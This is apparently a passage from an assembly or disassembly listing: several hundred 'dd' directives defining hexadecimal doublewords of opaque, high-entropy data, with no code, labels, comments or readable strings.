		dd 0FAF8BAF3h, 0A29CD351h, 0ED8385B0h, 855115A5h, 0C150C6E9h
		dd 0F304A89h, 0C39D6159h, 90B21D84h, 1088D83Fh,	73637FF2h
		dd 0C156E12Bh, 0A43CDEBAh, 0E8E6D4E4h, 99E9B127h, 5E26A228h
		dd 5A120FF3h, 1B2304F3h, 8B0F134Ch, 4105062Ch, 0CA6B010h
		dd 4426165h, 64097066h,	0D8292A03h, 5808817Eh, 0AC20E83h
		dd 0C040268h, 177252B3h, 83A06CF8h, 1C9102C7h, 0B2E95F82h
		dd 51D0E90Dh, 12BFE2A3h, 0B4F40053h, 0E922C06Eh, 0D1193729h
		dd 0CCD7D06Eh, 7727E921h, 0C858C2B1h, 257ED630h, 78086CA9h
		dd 15F0407h, 522388C8h,	0E942C5B9h, 0D39EADAAh,	0C15563E1h
		dd 0F403F325h, 0D81FDFF2h, 4CD02916h, 0AF48305Ah, 8D0B9900h
		dd 0A7F3810Ah, 23C46513h, 0D803B209h, 7918C139h, 2070951Eh
		dd 771248D4h, 7741F792h, 4E8835Dh, 324C3D2Eh, 0EB023451h
		dd 54791BF9h, 2E68EC52h, 0D8F030D6h, 0C2646CE9h, 27B0593Dh
		dd 0B6A07735h, 0C30832DEh, 0BAF1E763h, 0F2258906h, 0D9F0827Ah
		dd 716C5A29h, 0FDCD147Ch, 367E8B01h, 0C1C7447h,	2F605D20h
		dd 0F404EAC1h, 0FE6B806h, 6C2CFCC2h, 3B0A5665h,	0DE59C331h
		dd 0E33A5548h, 9881B658h, 2C58B31Eh, 2066570h, 0D62AECC2h
		dd 7FBA4B2Bh, 6C53089Bh, 0DCE98296h, 13B7C45Ch,	0D4E8302Ah
		dd 50F85E2Bh, 0DD881DE7h, 0DD4B18D2h, 0BF83835Ah, 0D849034Bh
		dd 0E536866h, 0EE5C5BDAh, 0B2B95100h, 0AA422E3Dh, 6216628Ch
		dd 0FA0B0905h, 170320A6h, 281D76EEh, 660904F0h,	9EB165Ah
		dd 0C3866CB3h, 4508AD8Dh, 3BF7BC50h, 4E851A5Bh,	88D5F42Fh
		dd 0F27AFF4h, 0DF7B06EBh, 0F2293F10h, 0ABE2C898h, 88325EB1h
		dd 4C59FDCEh, 0D6F627DDh, 860E4E93h, 4BF48850h,	43AD59E7h
		dd 0FEF8D7F6h, 80775B66h, 84407669h, 18AC9A9Ch,	0E4EB0A7Bh
		dd 13E1B551h, 68B6B157h, 8B54C7ABh, 0E9A79049h,	27405A61h
		dd 4B51F97Ch, 0AD66E7A7h, 3EB16C94h, 2F16050Ch,	7E760BE1h
		dd 4F097D5Ch, 66100242h, 2B4AAB68h, 41DBE5CCh, 598D302Dh
		dd 5C79A1BCh, 9D844769h, 4300943h, 0AA8028ECh, 4BB05058h
		dd 38F1FADh, 0A92CD40Ch, 43B61E7Eh, 0B6E92B85h,	0FCEEE9B1h
		dd 0D1F70919h, 42B36280h, 0E913E010h, 51B36715h, 0F9330D04h
		dd 0D6418021h, 362CE310h, 2639FDC1h, 75A40E62h,	0ACC5D152h
		dd 1F648845h, 1414B70Eh, 0DAC94AE9h, 9F12E30h, 0D19E95Ah
		dd 8FF036C4h, 0FC541540h, 30FE4931h, 6808EF48h,	7526559Fh
		dd 870A451Ah, 926E9E9Bh, 4029FCF4h, 831CAD6Eh, 0F0F207Fh
		dd 3CD0F684h, 303859EEh, 720C4557h, 3D4F5C63h, 35187105h
		dd 17686088h, 14579A7Bh, 4AB2539Dh, 0A4402876h,	2F667726h
		dd 0E5EAA6E9h, 1EFC9CC8h, 45735B2Eh, 5F211902h,	9E668211h
		dd 467B226Dh, 0E2B35300h, 5D357AB0h, 8D4B2FD7h,	0E7A56073h
		dd 4EB96304h, 5784F501h, 0D5CA0812h, 76E95704h,	0E5B0C27h
		dd 589AA9E4h, 3166623Bh, 2F9BFB69h, 59CBF846h, 636D0FB4h
		dd 0ADC6315Ah, 88133D67h, 0AAF3872Ch, 0CDE8D14Ah, 0F05F06F1h
		dd 666B4E22h, 0CC9068FDh, 2737A12Fh, 2DF206BDh,	288FFC2Bh
		dd 1CD49AF3h, 0FCD0F793h, 296C1696h, 340B30D7h,	96695C9Ch
		dd 4F8376BEh, 5C830202h, 0D495FE9h, 3804D4BDh, 47BB5103h
		dd 0FAADD63Bh, 1E83CBDDh, 0FC170F8h, 527F015Dh,	0F067C5FCh
		dd 0B6C15BAFh, 37AA3474h, 423FDDE9h, 0FC7827A8h, 0B01B5D4h
		dd 0E9B740D7h, 9D5539CDh, 68C11584h, 277AF32Eh,	2818118Fh
		dd 0F981F0D8h, 962F5082h, 886489B4h, 0F71D7482h, 8EB7329h
		dd 1091C82h, 0FFE285DFh, 0C02C1EA8h, 86273CFEh,	38EED348h
		dd 0B4779804h, 4C2F309h, 0E0028FD3h, 880FFECBh,	0D5E91658h
		dd 0B1F7E246h, 6553CF67h, 0CE14B552h, 6D4718EBh, 4C5DEB97h
		dd 5B887153h, 6841DC48h, 493C1AC8h, 515E5482h, 4E097FE0h
		dd 0C74C1624h, 890D0D19h, 0DFF34430h, 6B26583h,	6FF72E82h
		dd 7329DDAh, 0D4FA8729h, 715E6C17h, 387F2602h, 4C01D2E9h
		dd 4A199525h, 0D8AD2254h, 0D19D790h, 0D32D21F0h, 5821200Bh
		dd 64375ACFh, 6BF073DFh, 639002Bh, 503AF781h, 4F600E9Eh
		dd 0AF14560Eh, 1C7FA20h, 49880D3Dh, 87658CE9h, 21B5B88Dh
		dd 0A87D024Bh, 68C00ECEh, 14904665h, 373ED4A0h,	4BF2FB1h
		dd 29EE0926h, 0D0F1DF80h, 0BC54480Dh, 44E9CA05h, 0EA54D01Bh
		dd 8827533Ch, 0ECEBE2D3h, 3EF62F7Ch, 1002BE49h,	17CFC681h
		dd 136D9363h, 0C0C01AFh, 0F82BB210h, 420296C9h,	0A2E93BCAh
		dd 7A7DC862h, 6A98B55Ch, 8080F9C3h, 68CE48CAh, 42F1632Eh
		dd 0AD0A55D8h, 3882F29h, 0A5EA31B0h, 96598971h,	0BE171853h
		dd 0DB5B0255h, 0DC7CE940h, 20D5A049h, 0C69C4642h, 9C14AC16h
		dd 227200Dh, 0BC049124h, 0BFED10Ch, 0DFC5AD12h,	0CC5A5322h
		dd 16838F9h, 0BCC6344Fh, 57C1A4D3h, 3D65329Fh, 160C9800h
		dd 0C7060DAh, 48060A1Dh, 0C4A21290h, 8B35080Ah,	2F62B1E9h
		dd 0A35A6264h, 0FF761A12h, 81A8B592h, 3C9A0095h, 6C017E5Eh
		dd 94B6129Dh, 0C5E92A8Ah, 8CBA3EB5h, 8A6E2A1Eh,	88A82425h
		dd 0BF6F32C4h, 81C04FA6h, 74E7FF6h, 0F031ECC8h,	6E003B5Eh
		dd 125115EAh, 0C2292502h, 643AE6E9h, 9552EE43h,	0E0D30B0Bh
		dd 498BD712h, 0C437E917h, 754BDD00h, 0C62588A3h, 14B16CDh
		dd 8ADA08ACh, 3347703Ah, 37E7C9C4h, 4380BE33h, 0F0B43F3Ah
		dd 542766C0h, 0E2810137h, 4BC67DE1h, 571B6042h,	386DE5E1h
		dd 0D27218E8h, 757ABA70h, 30BF7AFBh, 0BB14D994h, 0E81236AAh
		dd 0C4D04B0Eh, 3B2FB4C3h, 0F3061873h, 0C6E2D38h, 67952FEh
		dd 397240h, 291DD577h, 0EAC15BDAh, 0F204037Ch, 7BC64FCFh
		dd 0B9A0FEF8h, 0B7127856h, 8DC73129h, 5F162779h, 0EAD8E099h
		dd 1A6C7DEBh, 0CCDA011Ah, 8820809h, 3000AA13h, 0F8058C5h
		dd 0EF20EEF5h, 29782DA9h, 8481493Bh, 65924DBEh,	60CE6FC0h
		dd 314412ACh, 0C2771CC1h, 0A159A897h, 0E92F5C50h, 5DCD861Ch
		dd 46C50382h, 4D1F7942h, 2F6369F1h, 52D4CE41h, 0C807D70h
		dd 23D62CFAh, 0C798F801h, 63BA3B95h, 0F9310A98h, 2ACB87B9h
		dd 5BAF5D8Ch, 0F18E90A9h, 0F41842AAh, 0DA9E4156h, 15192527h
		dd 8901E6E1h, 7B082940h, 47BAB198h, 66488ED7h, 0D834953h
		dd 96010E9Ah, 873C29ABh, 7F45B7F0h, 4CE9C50Dh, 423F43F4h
		dd 412F689Eh, 6424CCD9h, 0E941CFCAh, 34661059h,	0B0B52348h
		dd 0C94009A9h, 0CCE1ED56h, 9C0532h, 0B05059E8h,	0B52F510Ch
		dd 1F0AE969h, 38D1C5CCh, 0A45DE953h, 9D125475h,	27F8B8h
		dd 2A255F67h, 550E209h,	4B78AF04h, 92C1F7D7h, 4D7D2ED6h
		dd 464168C3h, 0BF94D27h, 4DE15A59h, 68095554h, 0EB30602Dh
		dd 0A2B73ADBh, 1EBAB5h,	93130EBFh, 0CC001A5Bh, 61D33751h
		dd 420A32E9h, 0B0575C22h, 0A414F690h, 0BE38552Bh, 8B41053Fh
		dd 3C553DEh, 5E3699A3h,	0E6F831B1h, 2F41314Ah, 79DE3642h
		dd 0EEAE3A24h, 39086D82h, 9277A57h, 3A7E0502h, 79BECD0Fh
		dd 73DE080h, 5AD629A3h,	0C0E95F12h, 908C12C4h, 4C0E2CF3h
		dd 7CCE00E5h, 0E9253473h
		dd 9D064120h, 5E037280h, 680666D6h, 4D107FD1h, 0C17254Ch
		dd 6EF6944Eh, 2120435Fh, 751068h, 0C15807DDh, 0EE2505E8h
		dd 64E51E00h, 0B46B2D48h, 89D8267Bh, 0F1A70BC4h, 15EC18C8h
		dd 0C625B30h, 1A3A148Ah, 0EAC20152h, 3B500809h,	26950C1Bh
		dd 430685A8h, 134AD18Ch, 0E2C8B60Fh, 0DA21C616h, 0D8312F22h
		dd 0EEC0EA40h, 124EBE80h, 86AD927h, 974A377Bh, 0CA206B28h
		dd 165E5AB0h, 30070878h, 93835A3Ch, 89099CD6h, 1F4D5B87h
		dd 0A434A844h, 227C1565h, 0C9C1515Ah, 78DAAC7Dh, 30A0BCFCh
		dd 0DEF70706h, 3201EFE5h, 7767F3FBh, 22242EE9h,	9DB70053h
		dd 28E4EF80h, 88245BFCh, 0A03B11E5h, 309580B2h,	4B372674h
		dd 208E24AEh, 8C1CC108h, 645F071Eh, 0D65DC982h,	38E10271h
		dd 0C115B450h, 0F0528B5h, 0C7C742D8h, 537F0E2Ch, 4D4EA05Dh
		dd 0D0F7950Bh, 71F68255h, 595402B5h, 0C45BE440h, 229C7292h
		dd 29A72A89h, 4D740E82h, 293E31EBh, 6A4A133h, 10C25244h
		dd 32FF0353h, 5D550E67h, 25CDC4EBh, 0E46D6D40h,	0E1318E37h
		dd 4A6450E9h, 2AD39233h, 0DFA4F3Fh, 6AE0E181h, 0D79CF00Ah
		dd 0C87601F4h, 0E114B85Fh, 5706076Ah, 15D156BFh, 0E1C6471Ch
		dd 68002AA7h, 1F9726F9h, 1EE90D32h, 763320DFh, 8D3AF828h
		dd 5296C14Fh, 5EA99D0Ch, 0EC9518A2h, 59C86748h,	35E66814h
		dd 8EE9C23Bh, 31E90C45h, 690D06DAh, 9C692953h, 5BA65810h
		dd 0F0FDB0CDh, 80D2C860h, 0F578305Ah, 27C5EF2Ch, 0F69724CFh
		dd 0A12560B9h, 54985452h, 53356812h, 0E9F055ACh, 0AC40344h
		dd 0D1E3C828h, 530B2C02h, 0C4D1B0B3h, 51403A37h, 7A88EAB1h
		dd 30591FCCh, 1781A4E3h, 0F2C2B575h, 0A5ED6BA2h, 0EA49110Ah
		dd 9FB057F7h, 0A6B5D366h, 133D482h, 70B9515Ah, 6027C611h
		dd 7B0508E1h, 0CB010622h, 0CDBFCC81h, 558C8704h, 9FA7F368h
		dd 28AB0B8Ch, 8DF55E21h, 0DC46FCAAh, 0A36096AAh, 38D42261h
		dd 566802ABh, 54598820h, 1A51668Ah, 0A66BEF04h,	0EF80586Fh
		dd 4839699Fh, 7C27C517h, 0F75A3C84h, 2086762Bh,	0D1020A7Dh
		dd 8F6852E2h, 8ACA5931h, 8BCF3E25h, 0CDD1B735h,	0A154568Ah
		dd 67D65E9Fh, 92B7A057h, 0C942B83Bh, 1F7EDA32h,	0CF7DFAEDh
		dd 5D89012Bh, 64AD13D9h, 52A8BC52h, 70A4D712h, 0B1108051h
		dd 209E07E9h, 0CBA4571Eh, 0C96F780Eh, 1EA6F81Ah, 565097E7h
		dd 1CB90142h, 0F96A0F7Ch, 0FCB944D7h, 0B3CA5B70h, 0B580C85Eh
		dd 8C2AFB41h, 6C9D5CCAh, 0A4BA2B0Fh, 82521294h,	0D3F354E2h
		dd 0C9F85045h, 28D31EA4h, 3BCA2A97h, 48E5F6E5h,	924B206h
		dd 0B0745231h, 0A0B49672h, 80A73157h, 6813BFB5h, 0F1F67252h
		dd 0F8C06225h, 5B4CFD30h, 18C774FEh, 58B468F9h,	87C411BCh
		dd 0BD590FF1h, 8F0D57CCh, 489B3CEEh, 8A6FAEh, 5E5C0FA2h
		dd 0ECE7F089h, 0F49EF20Ah, 0C8FE0880h, 0E4F58851h, 4E5598C6h
		dd 48E18E2Eh, 71DA308Eh, 0B01B252h, 8B1F280h, 0E0C0C503h
		dd 0E27534A9h, 90CC045Dh, 617A08E1h, 48B30F9Bh,	0A340E2D8h
		dd 61010968h, 925046DBh, 7A67D770h, 0C619BF72h,	82E3FA70h
		dd 51B08F40h, 0A62B8C3Dh, 96B0AFE0h, 19EAC06Eh,	0ACAFE05h
		dd 0A5944407h, 0C0F5F52Ch, 8F61797h, 94B5AB92h,	0D4EA90CAh
		dd 1F10D49Bh, 0F7311F4Fh, 1C856453h, 0C45ED6E3h, 1C62EB82h
		dd 734556CFh, 30EBB4h, 0BC4EE6E9h, 7B5866F4h, 6277B0B0h
		dd 435819B8h, 8660356h,	0ABE9F15Ah, 2C241EF8h, 7C0E459h
		dd 0C6D8288Dh, 6816125Bh, 0FC272D3Ch, 0C6A8CA74h, 80BDB7C0h
		dd 0FE3A37CFh, 1EF782C7h, 4008EFC0h, 90280134h,	0A2049D40h
		dd 580B83F4h, 51121579h, 0F6178EB5h, 0C55B350Eh, 0F2BDA7F6h
		dd 0ECD283CEh, 6F109207h, 0E15BC5AEh, 77F9182Dh, 5D276368h
		dd 0F9D501B1h, 0D7002EF2h, 8A4A9A2Dh, 0D0291451h, 5A3B0705h
		dd 0EF17DE01h, 7C6DE914h, 5EBD2EB6h, 0E1D52CC5h, 0FA84FFA9h
		dd 0A1CCCC5Fh, 16418BBFh, 0E91CED18h, 46DF0625h, 0B8EDE522h
		dd 851F5C55h, 6802ED81h, 967C6D42h, 9415E985h, 3ED1ACE0h
		dd 0EE714B5Ch, 0DE6C10E9h, 58F08A5Bh, 67623108h, 0E202454h
		dd 0A756965Fh, 0D5E9B0C0h, 0CB275A9Ch, 397D5F2Dh, 0E3222A50h
		dd 81A170E2h, 83879899h, 9B29685Bh, 11020373h, 422D6E7Ch
		dd 97F0504Ah, 109FB16Ch, 4180E953h, 9E3D3066h, 4DB87C17h
		dd 37AC5984h, 10BA8720h, 3FBD5512h, 57181E04h, 6CCF8780h
		dd 0BF2B1DB5h, 2C1680C5h, 315BDF29h, 0BFE9CC95h, 0C8CB0B0Fh
		dd 0DCDA33BBh, 0BD1FD7AEh, 73CF28A8h, 0F5801CFEh, 0B8EDC213h
		dd 0BC5CFAE9h, 1E596804h, 9A1FB8D8h, 92053CC0h,	2D6B8801h
		dd 0F201188Bh, 0F698A956h, 0B9FF663Fh, 0A16E0D66h, 20643B78h
		dd 94A57585h, 16DD9A2Ah, 0F791F9F7h, 0FE00AEF8h, 0C65080CEh
		dd 0BC4033D0h, 18D405BAh, 0AC01107Ah, 132F205Fh, 0B0DB2C5Bh
		dd 5762A2E4h, 1B6CB6DBh, 0B5D495C2h, 8230CC69h,	92D1F9ADh
		dd 58A3F07Ch, 71499BB1h, 0F805E018h, 1B5C455Bh,	25A749C3h
		dd 0FE86145Fh, 67676A79h, 3E263C0Ch, 20BAD2Eh, 339091F1h
		dd 441CE913h, 0C3DDF66Eh, 0A3D32959h, 0D34E37BEh, 80588B20h
		dd 0D7C15FC3h, 0D6825B44h, 0AC0132B5h, 92E00B04h, 2CE993E6h
		dd 0C089A112h, 27235F8Dh, 7D0CEFFCh, 40F53410h,	6E1D43Fh
		dd 0C7CFC473h, 4769C058h, 54142D53h, 16C4F281h,	4B015FC9h
		dd 0BE43B43h, 27D7E9A9h, 574EDFECh, 5DA0A13h, 0FD098C5Ah
		dd 68454626h, 1B41220Bh, 84F41A31h, 2FD6E4CAh, 0DABB96B0h
		dd 25FB5C40h, 8CA9D617h, 19669B80h, 5A20D1C9h, 6848028Ah
		dd 3EA97F0Eh, 0A7F7CB87h, 6D095B15h, 88526B60h,	2025CE4Ch
		dd 0D8012FEBh, 0D22A34EEh, 329D3146h, 52C3C280h, 6EB04CAh
		dd 0AD77B817h, 8B084195h, 91666272h, 0D33BD1B4h, 6225CFE2h
		dd 8B0E0590h, 8E25DEF9h, 385CA9C9h, 5835275Bh, 93DBB345h
		dd 0E6FD655Bh, 0F7037C6Fh, 2921BB79h, 8A040D3h,	0D4CC30E9h
		dd 1D4BC14Fh, 2295B5E2h, 2E16EE5h, 0EE655E54h, 0D168A9ADh
		dd 96E99DE1h, 0ED442907h, 2F7625FBh, 0F9E5538Dh, 5CB6B570h
		dd 0FA1007CCh, 0DBE98234h, 2DFFA0A8h, 52A6C97h,	63403568h
		dd 0D872C253h, 5650F9F4h, 72910268h, 8FE97D4Eh,	310EDF54h
		dd 0B37E4C5h, 0AC0D54EFh, 0D81E9838h, 0A222E5Bh, 0A59855E9h
		dd 0C7C16062h, 38923DECh, 22A4905Dh, 8018451h, 0B348F9E9h
		dd 0CC5867C3h, 20E8B5C0h, 2B9DC5D1h, 9916CE3Dh,	0E5AD596Fh
		dd 2DC7DDDDh, 4A10B924h, 0BBB551C4h, 0EE23DBD2h, 0D7F5054Fh
		dd 17922947h, 0FD8BF5E2h, 5057341Dh, 726EEBB1h,	59441A56h
		dd 26B81431h, 5C7CA96h,	73582E6Bh, 3BB79AE0h, 54DC652Dh
		dd 9314DB25h, 1E3CD32Ch, 0A59E508Ch, 0A72201EDh, 0EE31A96Fh
		dd 0B791605Dh, 3B301FF0h, 59E91221h, 70B9C9h, 176C04A5h
		dd 0F736CF87h, 4E7008D1h, 0E9D0522Fh, 38341693h, 58810EB2h
		dd 11064968h, 0E2070ACAh, 31C028FCh, 668060D2h,	0FBAAC450h
		dd 0F4CE409Dh, 0A03B727Ah, 728406B8h, 9DE91304h, 0E5DE571Bh
		dd 7C1CD32h, 0E206E132h, 252A746Ah, 3B289CC5h, 7E25752h
		dd 9990DA5h, 0ED40E1B5h, 231F2D5Eh, 1370A53h, 90705F8h
		dd 0B72F69E9h, 8A02CE88h, 0DE136755h, 2C5E04F9h, 0A0CB8116h
		dd 795B03D5h, 0A451582Ah, 4286B52Eh, 904E0BDh, 7A4404FAh
		dd 4CA1812h, 7DBA80B2h,	31873209h, 0CA2E7489h, 9580997h
		dd 0D07308h, 6F063EFDh
		dd 414E3BE9h, 6809DDA7h, 21302CD4h, 67283099h, 44FEE602h
		dd 5B8C084Ah, 854818A5h, 0A2AE00Eh, 814E0738h, 821B951h
		dd 0E1F425FBh, 267518F7h, 10CD0C74h, 0C12B7605h, 0C10B06E9h
		dd 0A48BE008h, 9783E463h, 520F05C3h, 81F88DFBh,	43E9F129h
		dd 9040D76Ch, 81BA4075h, 671AF604h, 18ABD9D6h, 0C0E906D2h
		dd 4A4DAF5Fh, 772A2D2Bh, 424ED297h, 0F287A055h,	0A8C208CFh
		dd 1A490393h, 24F386Bh,	0B9BB3741h, 2B4C8042h, 0EB31682Fh
		dd 0CDC905Dh, 1B3E6033h, 0AC414F98h, 1B58A927h,	0AC48D989h
		dd 641EAFF2h, 29D54315h, 2FB416E2h, 0EEB7187h, 8059C05Eh
		dd 25E9C8EEh, 0F4F2B9A7h, 8F09FB83h, 8508EBC1h,	0C071CDh
		dd 0B0D9895Eh, 9BE1071Dh, 0F0774C07h, 8C29E0F1h, 2BDA3060h
		dd 0B83EA17Eh, 7BAE096Bh, 88E06644h, 0ABB1616Ch, 73585489h
		dd 0BED70870h, 7F05B14h, 0CB640E6h, 0D653C5C2h,	1FE15374h
		dd 0B46060Fh, 0B4D7882h, 0E7006070h, 3132B2DEh,	0D6685DEFh
		dd 99E7F433h, 79100E72h, 2C2A3C29h, 2870B00Ah, 0EE2C2712h
		dd 7EE71F11h, 0D7940945h, 0E6C39FC9h, 3FF00104h, 20C0411Bh
		dd 4F0999A9h, 83F70DA6h, 59B76E28h, 0B392BED7h,	0AC7298ADh
		dd 6FA2676h, 215F028Dh,	0AC8717E5h, 10EAD3B3h, 36F6E000h
		dd 0FD0123C2h, 3865B556h, 6F3D1983h, 0C3CDF078h, 0FEF9616Bh
		dd 0F553BEE5h, 4546815Ch, 89B79818h, 97B4B334h,	9FCAFCB3h
		dd 537F57D8h, 0CB00094Fh, 123F1B2Dh, 0E8011406h, 825B0705h
		dd 29605100h, 1FB2504Ah, 0F516CF9Eh, 812F99F5h,	0EC08EF2Bh
		dd 34B41156h, 8B1F33E4h, 0DCE8F944h, 0C95CBDC3h, 48BA19D9h
		dd 0F2C0F133h, 1DAF9F8Bh, 0D03D9AC5h, 67F5806Ch, 1D85E095h
		dd 0FE5EC7C0h, 2E153C1h, 9D86F1F9h, 92BD0816h, 8105886Ch
		dd 28AEF6FDh, 9F6EE813h, 9AF7A616h, 115A480Ah, 53160A20h
		dd 6A844DB7h, 5DDBD1C2h, 45572B19h, 0E429ACCDh,	2292A3F2h
		dd 7D58551Ah, 0EFE03BB5h, 0CB88B974h, 9F3FC07h,	0ED47FE1h
		dd 2D073974h, 0AE81FC5Ah, 183A95E9h, 0D9F6F891h, 5CA9F6C9h
		dd 1A7D5218h, 7C466270h, 444F1230h, 0EC4627D9h,	890CB205h
		dd 9B7F8506h, 26BD4395h, 750D4E04h, 61388762h, 206EC750h
		dd 0B301CDCCh, 521B555Ch, 0C85FBBAh, 0E889E97Bh, 66050100h
		dd 5661ED1Eh, 1E22280h,	45E96728h, 0C3CA414Ah, 0C8773A12h
		dd 517A565Dh, 0F7A18F4Eh, 0D9FE0941h, 5501B74h,	3140585Fh
		dd 0B6C782C7h, 88E9590Bh, 420014E7h, 3238BE56h,	816A0B6Ch
		dd 5C8590E6h, 0ED058022h, 72097F25h, 585EF229h,	0DAF7268Bh
		dd 3FC201F0h, 200453F3h, 429DF881h, 88235E59h, 0A528A61Eh
		dd 3EAF7020h, 5B97E6D1h, 0C3B4E32Ch, 7A0C8268h,	1408BEA3h
		dd 327DF7ADh, 221B3CD9h, 5417797Ch, 0CBF4CD99h,	0C034C7B8h
		dd 0E763BEEFh, 0C3B28007h, 274B8076h, 923933F1h, 377643h
		dd 3826707Bh, 126E94Bh,	76476FE1h, 0BA1B1F30h, 310BC34Ah
		dd 0DA1058C2h, 0BE4CB9B6h, 0C8118062h, 25950888h, 0F15863D8h
		dd 277C3D77h, 40754202h, 9F3F963Fh, 2722CAECh, 5687820Fh
		dd 0A9AF0B71h, 0D3628D56h, 47CF749Bh, 36CDC755h, 52D525Eh
		dd 46A2D143h, 33B70D15h, 74BBB4F7h, 8A940E0Ch, 129667Fh
		dd 58E923CFh, 9F9D3AFFh, 4888CB3Eh, 7B005E06h, 8301CBBDh
		dd 52503247h, 0C24FB42h, 91238324h, 52B17040h, 0F6E8B60Bh
		dd 85AF74DEh, 2C6FED5h,	0F4881F07h, 30516E56h, 0E91F2C6Eh
		dd 0F3F14825h, 90688464h, 8B8EA20Ah, 0BD6458Fh,	63E427A8h
		dd 0F5015E7Fh, 1A5A418h, 8650E821h, 0B65B5453h,	8172527Eh
		dd 8944094Ah, 0EF8006EDh, 0F574FE4Ah, 0AAC7C4F8h, 0C94B7CEAh
		dd 16491576h, 0C9A4B45Ch, 0F6098F54h, 0C9213333h, 496EEC41h
		dd 91E3B491h, 50665397h, 2A28F4C1h, 611F019h, 2AE2E901h
		dd 0C1852684h, 629988E7h, 605902E2h, 2669D87Dh,	0EBF64556h
		dd 3EF6581h, 0CE8C7062h, 0EB572F0Bh, 1E3875Ch, 4BBA679Eh
		dd 0E9C14907h, 0BB363F24h, 0F4941464h, 0A0BC316h, 5098080Bh
		dd 89501271h, 5F0CF0F8h, 0E918EAF4h, 6896F0A1h,	88234EF6h
		dd 0CD9757A8h, 2F7DA918h, 2E932C9Ch, 2C15394h, 12BF2279h
		dd 0EA907542h, 170EA465h, 3C25E9EFh, 58CA5F38h,	0B0408F69h
		dd 0EFD32D82h, 20C63ECh, 440E3726h, 0C813CF80h,	0DC26AED2h
		dd 5E09031Eh, 0E99C74DEh, 0C6F64FB2h, 6F30C260h, 2918171Ch
		dd 82910CAh, 0F16BE912h, 0D1656E27h, 0E9D830BBh, 25B715EDh
		dd 0A8401F21h, 0DE09ADBFh, 7C290536h, 0BB5F0824h, 50963F0Dh
		dd 0DCF5D36Bh, 98C2114Ah, 253E7C56h, 0F15A250Bh, 8F81417Ch
		dd 5B6FDA89h, 983F7C59h, 0F5C95C8Ah, 96771ED0h,	0D8EACBCDh
		dd 0AF2F0652h, 39048EBh, 217D037Fh, 6C24DB8h, 6BCEF1ECh
		dd 3254AC0h, 11EC68h, 60F10540h, 0F6351028h, 204A29EAh
		dd 781F4E0h, 76A96C5h, 58F5B604h, 70017F02h, 68D1F761h
		dd 1E1FF1E4h, 585B2615h, 43A810E1h, 0E970AB04h,	41F4C485h
		dd 0F14F58E2h, 0ECC7844Ah, 4F54449h, 312A21E2h,	0D9F0F62Fh
		dd 50405216h, 8428C7D6h, 1C28D00Ch, 4458BA90h, 0AECC7084h
		dd 5C294977h, 5717454Ah, 1DF95C5h, 0C521D7A5h, 487D7166h
		dd 923DB8BAh, 6C29331Ah, 0D758FA06h, 5A0B2033h,	0E695EFE9h
		dd 4EEE9042h, 68ADCC3Eh, 51489A2Eh, 90C55465h, 431F3080h
		dd 5F7B7CE6h, 0C22C0F5h, 1A50C92Fh, 5D14CB99h, 2EC454A3h
		dd 0D0129B30h, 4A96DA00h, 7E017C04h, 841E5EFh, 0A52D565Dh
		dd 3B1D884h, 3BACCD80h,	0ED1EA806h, 78F5479Eh, 0F80764C0h
		dd 0F1C50393h, 0F177B353h, 0F3E508CBh, 0AC2706BBh, 87311705h
		dd 13C61B9Bh, 0C6651E0Bh, 5A6CF0B4h, 0CB65B229h, 0F4188051h
		dd 215A27Fh, 36917905h,	0A37E89EFh, 5342E101h, 8A4038F4h
		dd 7CF769F0h, 84EE047Ah, 0EEC7AEE9h, 0E431340Bh, 0CA059A7Ah
		dd 9A3AF58h, 6E07483Fh,	0E951D107h, 77D73CF0h, 0E15E1B95h
		dd 5E2EAD19h, 0F1232A2h, 4FDBE0ABh, 0F2333709h,	90445ED3h
		dd 42D5EA92h, 10347948h, 5A3B94F3h, 4B7B74BCh, 432F54Dh
		dd 4492413Ah, 6F7AA70Fh, 42511B28h, 0C9B34AB9h,	0FE044D25h
		dd 63945Dh, 674C2C8Ch, 6B9F017Dh, 0E62E481Ch, 0E90283E2h
		dd 17FFC5Ah, 0C680E628h, 12E967B0h, 75F9D9F5h, 70A068B0h
		dd 4216C59Fh, 10D5B375h, 0C9A8EB59h, 977C32C2h,	0C61164EFh
		dd 403C7FA4h, 36F85BC1h, 0F324BE5Bh, 0F64882B8h, 3D6B925Eh
		dd 9A68B6ABh, 848E8C1h,	2B502C08h, 0A1550DCCh, 0BA145121h
		dd 0AAF48056h, 7A66975Fh, 474DD25Bh, 843F6909h,	8E34EF3Bh
		dd 57E9B34Fh, 0BF66984Ah, 0A69E8ACFh, 6C685E98h, 0F8EF71F6h
		dd 0E17EB2DDh, 3EEA10D7h, 25485298h, 0C17A8D63h, 436EB1E1h
		dd 8BEB21EEh, 4A7BCEDDh, 0FD9A28D1h, 54522E8Eh,	0F9F32E6h
		dd 4E3348C9h, 15429569h, 50FE94D5h, 0BC52675Ch,	0D7532563h
		dd 0D0BCC94Eh, 5767A884h, 398609BFh, 0C7005D9Eh, 202A73C0h
		dd 0EEC73124h, 4A42F702h, 0FD5C40B4h, 932CBC5Fh, 89F2D129h
		dd 158162F0h, 408F9E96h, 8995E6AAh, 51425EC8h, 355B01D0h
		dd 9CF41056h, 8AB90016h, 0C14D3358h, 0D8B013B8h, 0B54A2C00h
		dd 0F7F1876Eh, 5108C1D6h, 0FD5E5956h, 80FC5049h, 4AF077E5h
		dd 9EB10BDh, 76FD027Fh,	45D5F758h, 54635E41h, 923482E3h
		dd 0B8FB4D46h, 0BD5C2B39h, 80B22D3Eh, 2C5A66A6h, 0F669FA49h
		dd 260CB58Dh, 0F216C22Eh
		dd 0C11D5939h, 8BB534Ah, 0B317DA92h, 42858A1h, 1FE4C526h
		dd 41C213D6h, 6F5FBD69h, 0B1C02E04h, 4A656DD1h,	0DA040B28h
		dd 20FA81C3h, 0CD2A04DDh, 316863F0h, 74A5547Ah,	835A0333h
		dd 50D4C2C3h, 9D14B76Ah, 4200815Fh, 0F5B252ACh,	347C7B2Ch
		dd 0EF2005FAh, 62534E5Eh, 0F95C7F82h, 16CD611Ah, 1C0DA4Ch
		dd 0B70E1A71h, 4CF1316Ch, 266808CEh, 62406413h,	967514F7h
		dd 60E6824Bh, 0F413427Ch, 40CAB00Ch, 0C904819Bh, 677C6D79h
		dd 0E17A6A82h, 72826F64h, 117036F9h, 3E4859E0h,	605BD42Fh
		dd 0B7FA1A09h, 4268D3A0h, 0BB504B3h, 0E94BC2C8h, 222E2D29h
		dd 0BB41E84Ah, 50B828A9h, 36553BC7h, 0C7613BA7h, 5C0191D7h
		dd 9AD0A533h, 2BB085BCh, 0F029F442h, 7DA9C25Eh,	3F61CC80h
